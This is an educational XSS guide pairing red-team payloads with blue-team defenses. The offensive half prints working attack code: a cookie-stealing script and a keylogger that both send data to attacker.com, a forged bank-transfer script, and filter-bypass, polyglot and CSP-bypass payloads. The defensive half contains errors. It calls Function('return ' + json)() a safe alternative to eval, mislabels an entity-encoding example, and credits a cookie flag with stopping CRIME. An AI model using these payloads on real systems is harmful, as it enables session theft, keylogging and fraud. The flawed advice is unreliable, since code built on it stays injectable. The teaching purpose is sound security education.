What is XSS?
Cross-Site Scripting (XSS) is a client-side vulnerability where attackers inject malicious scripts into web pages viewed by other users. XSS can be used to steal session tokens, deface websites, redirect users, perform actions on behalf of users, and launch other attacks in a users browser.
XSS Impact Severity:
- Session hijacking (cookie theft)
- Account takeover
- Keylogging and phishing
- Malware distribution
- Website defacement
- Internal network access (via browser)
Red Team Techniques (Offensive)
1. Reflected XSS
Reflected XSS occurs when malicious scripts are injected into a vulnerable application and immediately reflected back in the response. These attacks require social engineering to trick victims into executing the payload, typically through phishing emails or malicious links.
Basic Payload:
http://example.com/search?q=<script>alert(document.domain)</script>
Simple proof-of-concept demonstrating script execution in victims browser
Advanced Exploit (Banking Scenario):
http://bank.com/transfer?amount=1000&to=attacker
<script>
fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({amount:5000,to:'ATTACKER'}),
credentials: 'include'
}).then(() => {
window.location = 'http://bank.com/confirmation'
})
</script>
Silently performs unauthorized transfer while maintaining appearance of legitimacy
Bypass Techniques and Obfuscation:
- Case variation:
<ScRiPt>alert(1)</sCrIpT>
Bypasses naive case-sensitive filters - HTML entity encoding:
<img src=x onerror="alert(1)">
Evades basic pattern matching - JavaScript pseudo-protocol:
javascript:alert(document.cookie)
Works in href attributes and event handlers - Unicode encoding:
<img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
Bypasses keyword-based filters
Delivery Methods:
- Phishing emails with malicious links
- Shortened URLs hiding the payload
- Compromised websites redirecting to vulnerable endpoints
- Malicious QR codes
2. Stored XSS (Persistent XSS)
Stored XSS occurs when malicious scripts are permanently stored on the target server and served to all visitors. This is more dangerous than reflected XSS as it doesn't require social engineering and can affect multiple victims.
Cookie Theft Payload:
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: window.location.href,
userAgent: navigator.userAgent
}),
mode: 'no-cors',
credentials: 'include'
})
</script>
Comprehensive credential harvesting including session cookies
Advanced Keylogger:
<script>
const loggedKeys = [];
const targetForms = ['login', 'payment', 'password'];
document.addEventListener('keypress', (e) => {
loggedKeys.push({
key: e.key,
time: new Date().toISOString(),
target: e.target.id || e.target.name
});
});
setInterval(() => {
if (loggedKeys.length > 0) {
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(loggedKeys.splice(0)),
mode: 'no-cors'
});
}
}, 5000);
</script>
Captures keystrokes with context and timing information
Common Injection Points:
- User-generated content: Comments, forum posts, product reviews
- Often vulnerable due to rich text editors or improper sanitization
- User profiles: Display names, bios, avatar URLs
- Profile fields may be displayed to other users without proper escaping
- Administrative interfaces: Log viewers, system messages
- May be vulnerable if they display unsanitized logs or user input
Persistence Techniques:
- Storing payloads in database fields that are displayed to other users
- Infecting cached pages or static resources
- Abusing file upload functionality to store malicious scripts
- Exploiting CMS templates or widgets
3. DOM-Based XSS
DOM XSS occurs when client-side JavaScript writes attacker-controllable data to dangerous sinks without proper sanitization. Unlike other XSS types, DOM XSS is entirely client-side and doesn't involve the server.
Location.hash Vulnerability:
// Vulnerable code in application:
document.getElementById('content').innerHTML =
decodeURIComponent(window.location.hash.substring(1));
// Exploit URL:
https://example.com/#<img src=x onerror=alert(1)>
User-controlled hash value written directly to innerHTML
Common Dangerous Sinks:
Sink | Risk | Example |
---|
innerHTML | High | element.innerHTML = userInput |
document.write() | High | document.write('<div>' + input + '</div>') |
eval() | Critical | eval('alert("' + input + '")') |
location | Medium | location.href = 'javascript:' + input |
Detection Challenges:
- No server-side payload to detect (pure client-side)
- May only trigger under specific DOM states
- Difficult to identify during static analysis
- Often requires dynamic testing with tools like DOM Invader
4. Advanced XSS Techniques
Advanced XSS techniques bypass security controls and work in restricted environments. These methods are often used when standard payloads are blocked.
Polyglot Payloads:
javascript:/*--></title></style></textarea>
</script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Works in multiple contexts (HTML, JavaScript, SVG) simultaneously
CSP Bypasses:
// If 'unsafe-eval' is allowed:
<script>
location='javascript:alert(1)'
</script>
// If AngularJS is present:
{{constructor.constructor('alert(1)')()}}
// If JSONP endpoints are allowed:
<script src="/api/user?callback=alert(1)//"></script>
Exploitation Frameworks:
- BeEF (Browser Exploitation Framework):
- Hook browsers and execute complex attacks
- Includes modules for fingerprinting, social engineering, and exploitation
- XSS Hunter:
- Captures blind XSS triggers with screenshots and DOM data
- Provides notification when payloads execute
- XSStrike:
- Automated XSS detection with fuzzing and AI
- Bypasses WAFs with contextual analysis
Blue Team Defenses (Defensive)
1. Input Handling & Validation
Proper input handling forms the first line of defense against XSS attacks. A multi-layered validation strategy ensures only clean, expected data enters your application.
Comprehensive Validation Strategy:
- Allowlist Validation:
// Only allow alphanumeric plus basic punctuation
const isValid = /^[a-zA-Z0-9 .,!?-]+$/.test(input);
Reject rather than sanitize invalid input
- Type and Length Checking:
- Enforce maximum lengths for all fields
- Validate data types (numbers, emails, etc.)
- Implement business logic validation
- Context-Specific Rules:
- Different rules for names vs. addresses vs. HTML content
- Special handling for rich text editor inputs
Trusted Sanitization Libraries:
Library | Language | Key Features |
---|
DOMPurify | JavaScript | HTML sanitizer with customizable allowlists |
OWASP Java Encoder | Java | Context-aware encoding for multiple output contexts |
HTMLSanitizer | .NET | Configurable HTML sanitization with safe lists |
bleach | Python | Whitelist-based HTML sanitization |
Implementation Checklist:
- Validate on both client and server sides
- Normalize input before validation (Unicode, encoding)
- Log validation failures for monitoring
- Regularly update validation patterns
2. Output Encoding & Context Awareness
Proper output encoding ensures user-supplied data is safely rendered in different contexts. The correct encoding depends on where the data is being inserted.
Context-Specific Encoding Guide:
Context | Encoding Method | Example |
---|
HTML Body | HTML Entity Encoding | <script> |
HTML Attribute | Attribute Encoding | "><script> |
JavaScript | JavaScript Encoding | \x3cscript\x3e |
URL | URL Encoding | %3Cscript%3E |
Framework Auto-Escaping Features:
- React:
- Automatic JSX escaping
- DangerouslySetInnerHTML for explicit raw HTML
- Angular:
- Template sanitization
- DomSanitizer service for bypass cases
- Vue:
- Automatic escaping in templates
- v-html directive for explicit raw HTML
Dangerous APIs to Avoid:
// UNSAFE PATTERNS
element.innerHTML = userData; // Direct HTML injection
document.write(userInput); // Document writing
eval(userControlledString); // Dynamic code execution
setTimeout(userInput); // String evaluation
location.href = userControlledURL; // JavaScript URLs
// SAFE ALTERNATIVES
element.textContent = userData; // Text-only
document.createElement(); // DOM manipulation
Function('return ' + json)(); // JSON parsing only
setTimeout(function() {...}, 0); // Function reference
new URL(userInput).toString(); // Validated URLs
3. Content Security Policy (CSP)
CSP provides an additional layer of security that helps mitigate XSS attacks by restricting the sources of executable content. A well-configured CSP can prevent many XSS attacks even if they bypass other defenses.
Optimal CSP Configuration:
Content-Security-Policy:
default-src 'none'; # Default deny
script-src 'self' 'nonce-{random}'; # Only same-origin + nonced scripts
style-src 'self' 'unsafe-inline'; # Inline styles allowed
img-src 'self' data:; # Images from self and data URIs
connect-src 'self'; # XHR/fetch to same origin
font-src 'self'; # Fonts from same origin
object-src 'none'; # No Flash/plugins
frame-src 'none'; # No iframes
base-uri 'self'; # Restrict base URLs
form-action 'self'; # Form submission targets
report-uri /csp-report; # Violation reporting
report-to csp-endpoint; # New reporting standard
CSP Implementation Strategy:
- Start with Report-Only mode:
Content-Security-Policy-Report-Only: ...
- Use nonces or hashes for inline scripts:
<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
// Inline script allowed by CSP
</script>
- Restrict object-src and frame-src to 'none':
Prevents Flash-based and frame-based attacks
- Implement reporting:
Monitor for violations before enforcement
CSP Deployment Checklist:
- Test with CSP Evaluator tool
- Monitor reports before enforcement
- Gradually tighten policy
- Document all exceptions
- Review policy quarterly
4. Secure Session Management
Proper session management limits the impact of successful XSS attacks by reducing the window of opportunity and protecting sensitive session tokens.
Secure Cookie Attributes:
Set-Cookie:
sessionId=abc123;
Secure; # HTTPS only
HttpOnly; # No JavaScript access
SameSite=Lax; # CSRF protection
Path=/; # Accessible site-wide
Domain=example.com; # Specific domain
Max-Age=3600; # 1 hour expiration
Priority=High; # Defense against CRIME
Advanced Session Protections:
- Short-Lived Sessions:
- 15-30 minute inactivity timeouts
- Absolute maximum of 4-8 hours
- Contextual Validation:
- IP address fingerprinting
- User-Agent consistency checks
- Geolocation verification
- JWT Best Practices:
- Short expiration times (minutes not hours)
- HMAC with strong secrets
- Storage in httpOnly cookies (not localStorage)
Session Hardening Checklist:
- Implement all recommended cookie flags
- Use session rotation after login
- Require re-authentication for sensitive actions
- Monitor for concurrent sessions
- Implement session termination API
5. Monitoring & Incident Response
Effective monitoring detects XSS attempts and successful attacks, while a prepared incident response plan minimizes damage when breaches occur.
Detection Techniques:
- Web Application Firewalls (WAF):
- Signature-based detection of XSS patterns
- Behavioral analysis of suspicious inputs
- Static Application Security Testing (SAST):
- Code analysis for vulnerable patterns
- Integration in CI/CD pipelines
- Dynamic Analysis (DAST):
- Automated scanning of running applications
- Regular scheduled scans
Incident Response Plan:
- Containment:
- Remove malicious content
- Force session termination
- Block attack sources
- Investigation:
- Forensic analysis of logs
- Determine attack vector
- Identify affected users
- Remediation:
- Patch vulnerabilities
- Rotate secrets
- Update defenses
- Communication:
- Notify affected users
- Internal reporting
- Post-mortem analysis
Continuous Improvement:
- Regular security training for developers
- Quarterly penetration testing
- Bug bounty programs
- Threat modeling sessions
Additional Resources & References
XSS Mitigation Checklist
- Implement strict input validation (allowlist approach)
- Use context-aware output encoding
- Deploy Content Security Policy (CSP)
- Set HttpOnly and Secure flags on cookies
- Use modern frameworks with built-in protections
- Regularly scan for vulnerabilities
- Educate developers about secure coding practices